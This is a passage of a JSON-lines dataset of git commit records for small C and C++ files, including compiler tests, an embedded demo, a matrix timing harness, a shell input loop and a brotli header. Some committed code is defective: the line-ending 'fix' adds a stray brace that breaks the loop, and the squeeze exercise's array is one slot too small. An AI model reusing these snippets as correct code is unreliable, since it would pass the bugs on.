fengshao0907\/rocksdb,vmx\/rocksdb,JoeWoo\/rocksdb,JackLian\/rocksdb,ryneli\/rocksdb,wat-ze-hex\/rocksdb,siddhartharay007\/rocksdb,vashstorm\/rocksdb,biddyweb\/rocksdb"}
{"commit":"0829a30f266284d58acfc0e03f37d08be733ae02","old_file":"test\/CFrontend\/2004-11-27-StaticFunctionRedeclare.c","new_file":"test\/CFrontend\/2004-11-27-StaticFunctionRedeclare.c","old_contents":"\/\/ RUN: %llvmgcc -c -emit-llvm 2004-11-27-StaticFunctionRedeclare.c -o - | \\\n\/\/ RUN:   opt -std-compile-opts | llvm-dis | not grep {declare int.*func}\n\n\/\/ There should not be an unresolved reference to func here.  Believe it or not,\n\/\/ the \"expected result\" is a function named 'func' which is internal and \n\/\/ referenced by bar().\n\n\/\/ This is PR244\n\nstatic int func();\nvoid bar() {\n  int func();\n  foo(func);\n}\nstatic int func(char** A, char ** B) {}\n","new_contents":"\/\/ RUN: %llvmgcc -c -emit-llvm %s -o - | \\\n\/\/ RUN:   opt -std-compile-opts | llvm-dis | not grep {declare int.*func}\n\n\/\/ There should not be an unresolved reference to func here.  Believe it or not,\n\/\/ the \"expected result\" is a function named 'func' which is internal and \n\/\/ referenced by bar().\n\n\/\/ This is PR244\n\nstatic int func();\nvoid bar() {\n  int func();\n  foo(func);\n}\nstatic int func(char** A, char ** B) {}\n","subject":"Use %s, not explicit name.","message":"Use %s, not explicit name.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@36136 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm"}
{"commit":"cd5cc255334e414d2390101b600ce1734368d86e","old_file":"ir\/be\/test\/boolsimplify.c","new_file":"ir\/be\/test\/boolsimplify.c","old_contents":"","new_contents":"int range0(int a)\n{\n\treturn 0 <= a && a < 10;\n}\n\nint range1(int a)\n{\n\treturn 1 <= a && a < 10;\n}\n\nint test_lt_and_lt(int a)\n{\n\treturn a < 5 && a < 10;\n}\n\nint test_lt_and_eq(int a)\n{\n\treturn a < 5 && a == 10;\n}\n\nint test_lt_and_gt(int a)\n{\n\treturn a < 5 && a > 10;\n}\n\nint test_eq_and_lt(int a)\n{\n\treturn a == 5 && a < 10;\n}\n\nint test_eq_and_eq(int a)\n{\n\treturn a == 5 && a == 10;\n}\n\nint test_eq_and_gt(int a)\n{\n\treturn a == 5 && a > 10;\n}\n\nint test_ge_and_lt(int a)\n{\n\treturn a >= 5 && a < 6;\n}\n\nint test_gt_and_lt(int a)\n{\n\treturn a > 5 && a < 6;\n}\n\nint test_lt_or_lt(int a)\n{\n\treturn a < 5 || a < 10;\n}\n\nint test_lt_or_eq(int a)\n{\n\treturn a < 5 || a == 5;\n}\n\nint test_ne_or_ne(int a)\n{\n\treturn a != 5 || a != 10;\n}\n\nint main(void)\n{\n\treturn 0;\n}\n","subject":"Add crude tests for bool simplifications.","message":"Add crude tests for bool simplifications.\n\n[r16494]\n","lang":"C","license":"lgpl-2.1","repos":"killbug2004\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,8l\/libfirm,killbug2004\/libfirm,MatzeB\/libfirm,davidgiven\/libfirm,killbug2004\/libfirm,davidgiven\/libfirm,8l\/libfirm,jonashaag\/libfirm,8l\/libfirm,davidgiven\/libfirm,libfirm\/libfirm,killbug2004\/libfirm,8l\/libfirm,jonashaag\/libfirm,jonashaag\/libfirm,8l\/libfirm,libfirm\/libfirm,libfirm\/libfirm,davidgiven\/libfirm,libfirm\/libfirm,MatzeB\/libfirm,MatzeB\/libfirm,killbug2004\/libfirm,jonashaag\/libfirm,jonashaag\/libfirm,8l\/libfirm,davidgiven\/libfirm,MatzeB\/libfirm,killbug2004\/libfirm,jonashaag\/libfirm,killbug2004\/libfirm,8l\/libfirm,MatzeB\/libfirm,libfirm\/libfirm,davidgiven\/libfirm,davidgiven\/libfirm,MatzeB\/libfirm"}
{"commit":"35a8f748863cccdbd2b97c4cbbfc57c3757dfedc","old_file":"demo\/main.c","new_file":"demo\/main.c","old_contents":"#include <stdio.h>\r\n#include \"TM4C123GH6PM.h\"\r\n#include \"lm4f120h5qr.h\"\r\n#include \"interrupt.h\"\r\n#include \"larson.h\"\r\n#include \"led.h\"\r\n#include \"UART.h\"\r\n\r\nint main(void){\r\n\tUART_Init();\t\/\/ Initialize UART before outputting...\r\n\tprintf(\"%s\\n\", \"Initializing...\");\r\n\r\n\tLED_Init();\t\t\t\t\/\/ Initialize LEDs on GPIOF\r\n\tLarson_Init();\t\t\t\/\/ Initialize Larson scanner on GPIOB.\r\n\tGPIOA_Pin_Init();\t\t\/\/ Initialize GPIOA Pins and interrupts.\r\n\tSysTick_Init();\t\t\t\/\/ Initialize SysTick interrupts.\r\n\r\n\t\/\/ Loop forever.\r\n\twhile (1) {}\r\n}\r\n","new_contents":"#include <stdio.h>\r\n#include \"TM4C123GH6PM.h\"\r\n#include \"lm4f120h5qr.h\"\r\n#include \"interrupt.h\"\r\n#include \"larson.h\"\r\n#include \"led.h\"\r\n#include \"UART.h\"\r\n\r\nint main(void){\r\n\tUART_Init();\t\/\/ Initialize UART before outputting...\r\n\tprintf(\"%s\\n\", \"Initializing...\");\r\n\r\n\tLED_Init();\t\t\t\t\/\/ Initialize LEDs on GPIOF\r\n\tLarson_Init();\t\t\t\/\/ Initialize Larson scanner on GPIOB.\r\n\tGPIOA_Pin_Init();\t\t\/\/ Initialize GPIOA Pins and interrupts.\r\n\tSysTick_Init();\t\t\t\/\/ Initialize SysTick interrupts.\r\n\r\n\t\/\/ Loop forever.\r\n\twhile (1) {\r\n\t\t\/* AAPCS Demo *\/\r\n\t\t__asm volatile (\r\n\t\t\t\t\"    mov r0,#0x11111111\\n\\t\"\r\n\t\t\t\t\"    mov r1,#0x22222222\\n\\t\"\r\n\t\t\t\t\"    mov r2,#0x33333333\\n\\t\"\r\n\t\t\t\t\"    mov r3,#0x44444444\\n\\t\"\r\n\t\t);\r\n\t}\r\n}\r\n","subject":"Add unique and obvious register values for AAPCS demo.","message":"Add unique and obvious register values for AAPCS demo.\n","lang":"C","license":"mit","repos":"eigenholser\/embedded_programming_intro,eigenholser\/embedded_programming_intro"}
{"commit":"ea1cb775db1666406796f506da0fa98e21dccbad","old_file":"experiment.c","new_file":"experiment.c","old_contents":"#include \"stdio.h\"\n#include \"stdlib.h\"\n\n#define TRIALS 4\n#define MATRIX_SIZE 2048\n\nshort A[MATRIX_SIZE][MATRIX_SIZE],\n      B[MATRIX_SIZE][MATRIX_SIZE],\n      C[MATRIX_SIZE][MATRIX_SIZE] = {{0}};\n\nint main(int argc, char*  argv[])\n{\n\t\/\/ Initalize array A and B with '1's\n\tfor (int i = 0; i < MATRIX_SIZE; ++i)\n\t\tfor (int k = 0; k < MATRIX_SIZE; ++k)\n\t\t\tA[i][k] = B[i][k] = 1;\n\n\t\/\/ Iterate through the block sizes\n\tfor (int block_size = 4; block_size <= 256; block_size *= 2)\n\t{\n\t\t\/\/ Run TRIALS number of trials for each block size\n\t\tfor (int trial = 0; trial < TRIALS; ++trial)\n\t\t{\n\t\t\tprintf(\"size: %d\\n\", block_size);\n\t\t}\n\t}\n\n\treturn 0;\n}\n","new_contents":"#include \"stdio.h\"\n#include \"stdlib.h\"\n#include \"sys\/time.h\"\n\n#define TRIALS 4\n#define MATRIX_SIZE 2048\n\nshort A[MATRIX_SIZE][MATRIX_SIZE],\n      B[MATRIX_SIZE][MATRIX_SIZE],\n      C[MATRIX_SIZE][MATRIX_SIZE] = {{0}};\n\nint main(int argc, char*  argv[])\n{\n\t\/\/ Initalize array A and B with '1's\n\tfor (int i = 0; i < MATRIX_SIZE; ++i)\n\t\tfor (int k = 0; k < MATRIX_SIZE; ++k)\n\t\t\tA[i][k] = B[i][k] = 1;\n\n\t\/\/ Show headings\n\tfor (int trial = 0; trial < TRIALS; ++trial)\n\t\tprintf(\" run%d ,\", trial);\n\tputs(\" avrg \");\n\n\t\/\/ Iterate through the block sizes\n\tfor (int block_size = 4; block_size <= 256; block_size *= 2)\n\t{\n\t\t\/\/ Keep track of the times for this block\n\t\ttime_t block_times[TRIALS];\n\n\t\t\/\/ Run TRIALS number of trials for each block size\n\t\tfor (int trial = 0; trial < TRIALS; ++trial)\n\t\t{\n\t\t\tstruct timeval time_start;\n\t\t\tgettimeofday(&time_start, NULL);\n\n\n\t\t\t\/\/ Do work..\n\n\n\t\t\tstruct timeval time_end;\n\t\t\tgettimeofday(&time_end, NULL);\n\n\t\t\t\/\/ Keep track of the time to do statistics on\n\t\t\tblock_times[trial] = time_end.tv_usec - time_start.tv_usec;\n\t\t\tprintf(\"%06d,\", (int) block_times[trial]);\n\t\t}\n\n\t\tint average = 0;\n\t\tfor (int i = 0; i < TRIALS; ++i)\n\t\t\taverage += (int) block_times[i];\n\n\t\tprintf(\"%06d\\n\", average \/ TRIALS);\n\t}\n\n\treturn 0;\n}\n","subject":"Add timing and formating for times","message":"Add timing and formating for times\n","lang":"C","license":"mit","repos":"EvanPurkhiser\/CS-Matrix-Multiplication"}
{"commit":"7aa8ff477b577c147adc723c6f3029b4d01a544f","old_file":"example\/linux\/main.c","new_file":"example\/linux\/main.c","old_contents":"\/* INCLUDES *\/\n#include <stdio.h>\n#include \"commands.h\"\n\n#define MAX_MSG_LENGTH          200              \/\/For the receiving frame... (circular buffer)\n\n\nint main(int argc, char *argv[]) {\n    char input_buffer[MAX_MSG_LENGTH];\n    int  input_argc;\n    char *input_argv[CMD_MAX_N_OPTIONS+CMD_MAX_N_OPTIONS_WITH_ARGS];\n    int i;\n    char command_available = 0;\n\n    if (argc > 1) {\n        execute_command(argc-1, &argv[1]);\n    } else {\n        while (TRUE) {\n            \/\/ Terminal prompt\n            printf(\"\\n> \");\n\n            \/\/ Terminal input\n            fgets(input_buffer, MAX_MSG_LENGTH-3, stdin);\n\n            \/\/ Detect end of the command\n            for (i=0; input_buffer[i]; i++) {\n                if (input_buffer[i] == '\\n' || input_buffer[i] == '\\r')\n                    input_buffer[i] = 0;\n                    command_available = 1;\n            }\n\n            if (command_available) {\n                \/\/ Get the command and the arguments in a list\n                input_argc = separate_args(input_buffer, input_argv);\n\n                \/\/ Execute the command\n                if (input_argc) execute_command(input_argc, input_argv);\n\n                command_available = 0;\n            }\n        }\n    }\n\n    return 0;\n}\n","new_contents":"\/* INCLUDES *\/\n#include <stdio.h>\n#include \"commands.h\"\n\n#define MAX_MSG_LENGTH          200              \/\/For the receiving frame... (circular buffer)\n\n\nint main(int argc, char *argv[]) {\n    char input_buffer[MAX_MSG_LENGTH];\n    int  input_argc;\n    char *input_argv[CMD_MAX_N_OPTIONS+CMD_MAX_N_OPTIONS_WITH_ARGS];\n    int i;\n    char command_available = 0;\n\n    if (argc > 1) {\n        execute_command(argc-1, &argv[1]);\n    } else {\n        while (TRUE) {\n            \/\/ Terminal prompt\n            printf(\"\\n> \");\n\n            \/\/ Terminal input\n            fgets(input_buffer, MAX_MSG_LENGTH-3, stdin);\n\n            \/\/ Detect end of the command\n            for (i=0; input_buffer[i]; i++) {\n                if (input_buffer[i] == '\\n' || input_buffer[i] == '\\r') {}\n                    input_buffer[i] = 0;\n                    command_available = 1;\n                }\n            }\n\n            if (command_available) {\n                \/\/ Get the command and the arguments in a list\n                input_argc = separate_args(input_buffer, input_argv);\n\n                \/\/ Execute the command\n                if (input_argc) execute_command(input_argc, input_argv);\n\n                command_available = 0;\n            }\n        }\n    }\n\n    return 0;\n}\n","subject":"Solve a bug with line endings","message":"Solve a bug with line endings\n","lang":"C","license":"mit","repos":"guyikcgg\/UniversalShellBuilder,guyikcgg\/UniversalShellBuilder"}
{"commit":"06db3f988ef26a3be0c0040409288e4ad449aa94","old_file":"March-29th-2016\/squeezeStrings.c","new_file":"March-29th-2016\/squeezeStrings.c","old_contents":"","new_contents":"#include <limits.h>\n#include <stdio.h>\n#include <errno.h>\n\n\/* K&R C (Dennis M. Ritchie & Brian W. Kernighan)\n Exercise 2-4. Write an alternative version of squeeze(s1,s2) \n that deletes each character in s1 that matches any character \n in the string s2. \n\n *\/\n\n\/\/ O(n) solution\nint Squeeze(char* s1, const char* s2) {\n    if (!s1 || !s2) {\n        errno = EINVAL;\n        return EINVAL;\n    }\n\n    \/\/ dictionary for O(1) char lookup\n    int chars[UCHAR_MAX] = { 0 };\n    \n    \/\/ save chars in s2 to the dictionary\n    const char* pchar2 = &s2[0];\n    while (*pchar2) {\n        chars[(unsigned char)(*pchar2)] = 1;\n        ++pchar2;\n    }\n\n    char* pchar0 = &s1[0];\n    char* pchar1 = &s1[0];\n    while (*pchar1) {\n\n        \/\/ do not be tempted to move ++pchar1 out of the if-else\n        \/\/ blocks, if you do, make sure you test pchar1 for zero\n        \/\/ char and break out on zero char immediately or else \n        \/\/ you will go past the end of the string corrupting\n        \/\/ memory as you go\n\n        if (chars[(unsigned char)(*pchar1)]) {\n            ++pchar1;\n        } else {\n            *pchar0 = *pchar1;\n            ++pchar0;\n            ++pchar1;\n        }        \n    }\n    *pchar0 = '\\0';\n\n    return 0;\n}\n\nint main(void) {\n\n    char s1[] = \"C provides six operators for bit manipulation;\"\n                \"these may only be applied to integral operands,\"\n                \"that is, char, short, int, and long, whether signed or unsigned.\";\n    const char* s2 = \"aeiou\";\n    \n    \/\/ remove vowels\n    Squeeze(s1, s2);\n    printf(\"%s\\n\", s1);\n\n    getchar();\n\n    return 0;\n}\n","subject":"Remove all chars from s2 in s1 O(n)","message":"Remove all chars from s2 in s1 O(n)","lang":"C","license":"mit","repos":"CptDemocracy\/The-C-Blues,CptDemocracy\/The-C-Blues"}
{"commit":"afc9778e858677d6cbadfbe80cbc2e4d00e96bec","old_file":"SSPSolution\/SSPSolution\/DoorEntity.h","new_file":"SSPSolution\/SSPSolution\/DoorEntity.h","old_contents":"#ifndef SSPAPPLICATION_ENTITIES_DOORENTITY_H\n#define SSPAPPLICATION_ENTITIES_DOORENTITY_H\n\n#include \"Entity.h\"\n#include <vector>\n\nclass DoorEntity :\n\tpublic Entity\n{\nprivate:\n\t\/*struct ElementState {\n\t\tint entityID;\n\t\tEVENT desiredState;\n\t\tbool desiredStateReached;\n\t};\n\n\tstd::vector<ElementState> m_elementStates;*\/\n\t\n\tbool m_isOpened;\n\tfloat m_minRotation;\n\tfloat m_maxRotation;\n\tfloat m_rotateTime;\n\tfloat m_rotatePerSec;\n\npublic:\n\tDoorEntity();\n\tvirtual ~DoorEntity();\n\t\n\tint Initialize(int entityID, PhysicsComponent* pComp, GraphicsComponent* gComp, float rotateTime = 1.0f, float minRotation = 0.0f, float maxRotation = DirectX::XM_PI \/ 2.0f);\n\n\tint Update(float dT, InputHandler* inputHandler);\n\tint React(int entityID, EVENT reactEvent);\n\n\tbool SetIsOpened(bool isOpened);\n\tbool GetIsOpened();\n};\n\n#endif","new_contents":"#ifndef SSPAPPLICATION_ENTITIES_DOORENTITY_H\n#define SSPAPPLICATION_ENTITIES_DOORENTITY_H\n\n#include \"Entity.h\"\n#include <vector>\n\nclass DoorEntity :\n\tpublic Entity\n{\nprivate:\n\tstruct ElementState {\n\t\tint entityID;\n\t\tEVENT desiredState;\n\t\tbool desiredStateReached;\n\t};\n\n\tstd::vector<ElementState> m_elementStates;\n\t\n\tbool m_isOpened;\n\tfloat m_minRotation;\n\tfloat m_maxRotation;\n\tfloat m_rotateTime;\n\tfloat m_rotatePerSec;\n\npublic:\n\tDoorEntity();\n\tvirtual ~DoorEntity();\n\t\n\tint Initialize(int entityID, PhysicsComponent* pComp, GraphicsComponent* gComp, float rotateTime = 1.0f, float minRotation = 0.0f, float maxRotation = DirectX::XM_PI \/ 2.0f);\n\n\tint Update(float dT, InputHandler* inputHandler);\n\tint React(int entityID, EVENT reactEvent);\n\n\tbool SetIsOpened(bool isOpened);\n\tbool GetIsOpened();\n};\n\n#endif","subject":"UPDATE Uncommented door variables for reacting","message":"UPDATE Uncommented door variables for reacting\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"3217b8affa0b61ccdee76c8e6b59b87484707a2c","old_file":"problem_1\/solution.c","new_file":"problem_1\/solution.c","old_contents":"","new_contents":"#include <stdio.h>\n\n#define LIST_SIZE 1000\n\nint divisible_by(int x, int y){\n  return x % y == 0;\n}\n\nint sum_multiples_of(int n1, int n2){\n  int list[LIST_SIZE], i, s;\n  s = 0;\n  for(i = 0; i < LIST_SIZE; i++){\n    if(divisible_by(i, n1) == 1 || divisible_by(i, n2) == 1){\n      list[i] = i;\n      s += i;\n    }\n  }\n  return s;\n}\n\nint main(int argc, char *argv[]){\n  printf(\"%d\\n\", sum_multiples_of(3, 5));\n}\n","subject":"Add C implementation for problem 1","message":"Add C implementation for problem 1\n","lang":"C","license":"mit","repos":"mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler"}
{"commit":"3a8226f5bc42f17478a59e63827a5e646527cf5f","old_file":"ionGUI\/imGUI.h","new_file":"ionGUI\/imGUI.h","old_contents":"\r\n#pragma once\r\n\r\n\r\n#include <ionMath.h>\r\n\r\n\/\/---- Define constructor and implicit cast operators to convert back<>forth from your math types and ImVec2\/ImVec4.\r\n\r\n#define IM_VEC2_CLASS_EXTRA                                                 \\\r\n        ImVec2(const ion::vec2f& f) { x = f.X; y = f.Y; }                       \\\r\n        operator ion::vec2f() const { return ion::vec2f(x,y); }\r\n\r\n#define IM_VEC4_CLASS_EXTRA                                                 \\\r\n        ImVec4(const ion::vec4f& f) { x = f.X; y = f.Y; z = f.Z; w = f.W; }     \\\r\n        operator ion::vec4f() const { return ion::vec4f(x,y,z,w); }\r\n\r\n#include <imgui.h>\r\n","new_contents":"\r\n#pragma once\r\n\r\n\r\n#include <ionCore.h>\r\n\r\n\/\/---- Define constructor and implicit cast operators to convert back<>forth from your math types and ImVec2\/ImVec4.\r\n#define IM_VEC2_CLASS_EXTRA                                                   \\\r\n        ImVec2(const ion::vec2f& f) { x = f.X; y = f.Y; }                     \\\r\n        operator ion::vec2f() const { return ion::vec2f(x,y); }\r\n\r\n#define IM_VEC4_CLASS_EXTRA                                                   \\\r\n        ImVec4(const ion::vec4f& f) { x = f.X; y = f.Y; z = f.Z; w = f.W; }   \\\r\n        operator ion::vec4f() const { return ion::vec4f(x,y,z,w); }\r\n\r\n\r\n\/\/---- Use 32-bit vertex indices (instead of default: 16-bit) to allow meshes with more than 64K vertices\r\n#define ImDrawIdx unsigned int\r\n\r\n\r\n#include <imgui.h>\r\n","subject":"Switch to 32bit indices for gui rendering","message":"[ionGUI] Switch to 32bit indices for gui rendering\n","lang":"C","license":"mit","repos":"iondune\/ionEngine,iondune\/ionEngine"}
{"commit":"dd6237b0e8aa8b3d80f05e9fa4a225fd80d2d84c","old_file":"dec\/types.h","new_file":"dec\/types.h","old_contents":"\/* Copyright 2013 Google Inc. All Rights Reserved.\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\n   Common types\n*\/\n\n#ifndef BROTLI_DEC_TYPES_H_\n#define BROTLI_DEC_TYPES_H_\n\n#include <stddef.h>  \/* for size_t *\/\n\n#ifndef _MSC_VER\n#include <inttypes.h>\n#ifdef __STRICT_ANSI__\n#define BROTLI_INLINE\n#else  \/* __STRICT_ANSI__ *\/\n#define BROTLI_INLINE inline\n#endif\n#else\ntypedef signed   char int8_t;\ntypedef unsigned char uint8_t;\ntypedef signed   short int16_t;\ntypedef unsigned short uint16_t;\ntypedef signed   int int32_t;\ntypedef unsigned int uint32_t;\ntypedef unsigned long long int uint64_t;\ntypedef long long int int64_t;\n#define BROTLI_INLINE __forceinline\n#endif  \/* _MSC_VER *\/\n\n#endif  \/* BROTLI_DEC_TYPES_H_ *\/\n","new_contents":"\/* Copyright 2013 Google Inc. All Rights Reserved.\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\n   Common types\n*\/\n\n#ifndef BROTLI_DEC_TYPES_H_\n#define BROTLI_DEC_TYPES_H_\n\n#include <stddef.h>  \/* for size_t *\/\n\n#ifndef _MSC_VER\n#include <inttypes.h>\n#if defined(__cplusplus) || !defined(__STRICT_ANSI__) \\\n    || __STDC_VERSION__ >= 199901L\n#define BROTLI_INLINE inline\n#else\n#define BROTLI_INLINE\n#endif\n#else\ntypedef signed   char int8_t;\ntypedef unsigned char uint8_t;\ntypedef signed   short int16_t;\ntypedef unsigned short uint16_t;\ntypedef signed   int int32_t;\ntypedef unsigned int uint32_t;\ntypedef unsigned long long int uint64_t;\ntypedef long long int int64_t;\n#define BROTLI_INLINE __forceinline\n#endif  \/* _MSC_VER *\/\n\n#endif  \/* BROTLI_DEC_TYPES_H_ *\/\n","subject":"Allow use of inline keyword in c++\/c99 mode.","message":"Allow use of inline keyword in c++\/c99 mode.\n","lang":"C","license":"apache-2.0","repos":"luzhongtong\/brotli,koolhazz\/brotli,yonchev\/brotli,Bulat-Ziganshin\/brotli,google\/brotli,rgordeev\/brotli,daltonmaag\/brotli,BuildAPE\/brotli,emil-io\/brotli,yonchev\/brotli,PritiKumr\/brotli,andrebellafronte\/brotli,iamjbn\/brotli,anthrotype\/brotli,ya7lelkom\/brotli,silky\/brotli,archiveds\/brotli,google\/brotli,chinanjjohn2012\/brotli,shadowkun\/brotli,smourier\/brotli,lvandeve\/brotli,mark2007081021\/brotli,dwdm\/brotli,nicksay\/brotli,archiveds\/brotli,nicksay\/brotli,samtechie\/brotli,QuantumFractal\/brotli,kaushik94\/brotli,anthrotype\/brotli,anthrotype\/brotli,Abhikos\/brotli,lzq8272587\/brotli,samtechie\/brotli,jqk6\/brotli,abhishekgahlot\/brotli,anthrotype\/brotli,stamhe\/brotli,yiliaofan\/brotli,Mojang\/brotli,WenyuDeng\/brotli,ebiggers\/brotli,bunnyblue\/brotli,mcanthony\/brotli,WenyuDeng\/brotli,lvandeve\/brotli,zofuthan\/brotli,ruo91\/brotli,s0ne0me\/brotli,caidongyun\/brotli,agordon\/brotli,iamjbn\/brotli,yonchev\/brotli,archiveds\/brotli,szabadka\/brotli,emil-io\/brotli,nicksay\/brotli,fllsouto\/brotli,rajathkumarmp\/brotli,lzq8272587\/brotli,daltonmaag\/brotli,smourier\/brotli,letup\/brotli,jacklicn\/brotli,google\/brotli,thurday\/brotli,andrebellafronte\/brotli,rasata\/brotli,mark2007081021\/brotli,PritiKumr\/brotli,rafaelbc\/brotli,s0ne0me\/brotli,google\/brotli,datachand\/brotli,silky\/brotli,Bulat-Ziganshin\/brotli,rasata\/brotli,emil-io\/brotli,merckhung\/brotli,fllsouto\/brotli,fllsouto\/brotli,IIoTeP9HuY\/brotli,shadowkun\/brotli,shaunstanislaus\/brotli,szabadka\/brotli,rajat1994\/brotli,CedarLogic\/brotli,shadowkun\/brotli,windhorn\/brotli,hemel-cse\/brotli,matsprea\/brotli,QuantumFractal\/brotli,fouzelddin\/brotli,Endika\/brotli,madhudskumar\/brotli,minhlongdo\/brotli,caidongyun\/brotli,WenyuDeng\/brotli,IIoTeP9HuY\/brotli,cosmicwomp\/brotli,chinanjjohn2012\/brotli,Merterm\/brotli,minhlongdo\/brotli,thurday\/brotli,dragon788\/brotli,johnnycastilho\/brotli,jacklicn\/brotli,yiliaofan\/brotli,PritiKumr\/brotli,zhaohuaw\/brotli,eric-seekas\/brotli,PritiKumr\/brotli,mk525\/Code,rgordeev\/brotli,shaunstanislaus\/brotli,stamhe\/brotli,sonivaibhv\/brotli,CedarLogic\/brotli,google\/brotli,bunnyblue\/brotli,chrislucas\/brotli,cosmicwomp\/brotli,IIoTeP9HuY\/brotli,ya7lelkom\/brotli,Abhikos\/brotli,shadowkun\/brotli,gk23\/brotli,zofuthan\/brotli,dwdm\/brotli,google\/brotli,shilpi230\/brotli,FarhanHaque\/brotli,noname007\/brotli,Merterm\/brotli,matsprea\/brotli,dwdm\/brotli,leo237\/brotli,W3SS\/brotli,Bulat-Ziganshin\/brotli,Mojang\/brotli,abhishekgahlot\/brotli,hcxiong\/brotli,bunnyblue\/brotli,WenyuDeng\/brotli,W3SS\/brotli,CedarLogic\/brotli,iamjbn\/brotli,tml\/brotli,koolhazz\/brotli,datachand\/brotli,karpinski\/brotli,caidongyun\/brotli,emil-io\/brotli,mcanthony\/brotli,shaunstanislaus\/brotli,josl\/brotli,johnnycastilho\/brotli,fxfactorial\/brotli,smourier\/brotli,lukw00\/brotli,letup\/brotli,google\/brotli,rajat1994\/brotli,kaushik94\/brotli,Endika\/brotli,agordon\/brotli,kasper93\/brotli,luzhongtong\/brotli,hemel-cse\/brotli,tml\/brotli,erichub\/brotli,mcanthony\/brotli,szabadka\/brotli,BuildAPE\/brotli,dragon788\/brotli,josl\/brotli,minhlongdo\/brotli,nicksay\/brotli,erichub\/brotli,panaroma\/brotli,kasper93\/brotli,CedarLogic\/brotli,hemel-cse\/brotli,agordon\/brotli,rayning0\/brotli,minhlongdo\/brotli,BuildAPE\/brotli,sajith4u\/brotli,tml\/brotli,nicksay\/brotli,QuantumFractal\/brotli,szabadka\/brotli,luzhongtong\/brotli,windhorn\/brotli,Mojang\/brotli,datachand\/brotli,datachand\/brotli,rajathkumarmp\/brotli,kaushik94\/brotli,eric-seekas\/brotli,stamhe\/brotli,yonchev\/brotli,yiliaofan\/brotli,Endika\/brotli,matsprea\/brotli,madhudskumar\/brotli,dragon788\/brotli,google\/brotli,fxfactorial\/brotli,merckhung\/brotli,gk23\/brotli,hcxiong\/brotli,gk23\/brotli,erichub\/brotli,mark2007081021\/brotli,johnnycastilho\/brotli,rasata\/brotli,samtechie\/brotli,sajith4u\/brotli,ruo91\/brotli,karpinski\/brotli,madhudskumar\/brotli,yiliaofan\/brotli,IIoTeP9HuY\/brotli,iamjbn\/brotli,W3SS\/brotli,matsprea\/brotli,smourier\/brotli,fxfactorial\/brotli,koolhazz\/brotli,FarhanHaque\/brotli,fxfactorial\/brotli,rgordeev\/brotli,caidongyun\/brotli,mcanthony\/brotli,silky\/brotli,FarhanHaque\/brotli,hcxiong\/brotli,panaroma\/brotli,hcxiong\/brotli,rajathkumarmp\/brotli,panaroma\/brotli,mk525\/Code,abhishekgahlot\/brotli,Endika\/brotli,luzhongtong\/brotli,ya7lelkom\/brotli,Merterm\/brotli,lvandeve\/brotli,letup\/brotli,ya7lelkom\/brotli,jacklicn\/brotli,rasata\/brotli,QuantumFractal\/brotli,jqk6\/brotli,hemel-cse\/brotli,nicksay\/brotli,zofuthan\/brotli,carlhuting\/brotli,lzq8272587\/brotli,rafaelbc\/brotli,leo237\/brotli,lukw00\/brotli,rayning0\/brotli,leo237\/brotli,kaushik94\/brotli,Merterm\/brotli,panaroma\/brotli,rafaelbc\/brotli,zofuthan\/brotli,smourier\/brotli,bunnyblue\/brotli,silky\/brotli,erichub\/brotli,archiveds\/brotli,chrislucas\/brotli,karpinski\/brotli,carlhuting\/brotli,jqk6\/brotli,Mojang\/brotli,Abhikos\/brotli,andrebellafronte\/brotli,king-jw\/brotli,merckhung\/brotli,daltonmaag\/brotli,chinanjjohn2012\/brotli,eric-seekas\/brotli,cosmicwomp\/brotli,abhishekgahlot\/brotli,sonivaibhv\/brotli,letup\/brotli,eric-seekas\/brotli,noname007\/brotli,rayning0\/brotli,kasper93\/brotli,lzq8272587\/brotli,carlhuting\/brotli,ebiggers\/brotli,leo237\/brotli,andrebellafronte\/brotli,dwdm\/brotli,shilpi230\/brotli,fouzelddin\/brotli,rajathkumarmp\/brotli,lvandeve\/brotli,rgordeev\/brotli,madhudskumar\/brotli,rafaelbc\/brotli,shilpi230\/brotli,johnnycastilho\/brotli,noname007\/brotli,rajat1994\/brotli,lukw00\/brotli,mk525\/Code,fouzelddin\/brotli,shilpi230\/brotli,thurday\/brotli,ruo91\/brotli,noname007\/brotli,Bulat-Ziganshin\/brotli,sajith4u\/brotli,nicksay\/brotli,king-jw\/brotli,fouzelddin\/brotli,thurday\/brotli,ebiggers\/brotli,fllsouto\/bro